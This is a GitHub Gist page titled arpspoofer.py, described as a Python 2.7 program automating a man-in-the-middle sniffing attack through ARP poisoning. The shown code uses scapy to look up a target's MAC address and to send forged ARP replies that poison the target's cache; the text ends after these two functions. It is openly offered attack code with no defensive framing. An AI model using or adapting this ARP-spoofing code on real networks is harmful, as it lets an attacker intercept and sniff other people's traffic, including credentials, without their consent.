Skip to content

Instantly share code, notes, and snippets.

View rbn15's full-sized avatar
🎯
Focusing

Prasoon Nath rbn15

🎯
Focusing
View GitHub Profile
@rbn15
rbn15 / arpspoofer.py
Created August 11, 2019 09:51
Written python2.7, the program automates the process of MITM sniffing attack using ARP poisoning.
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)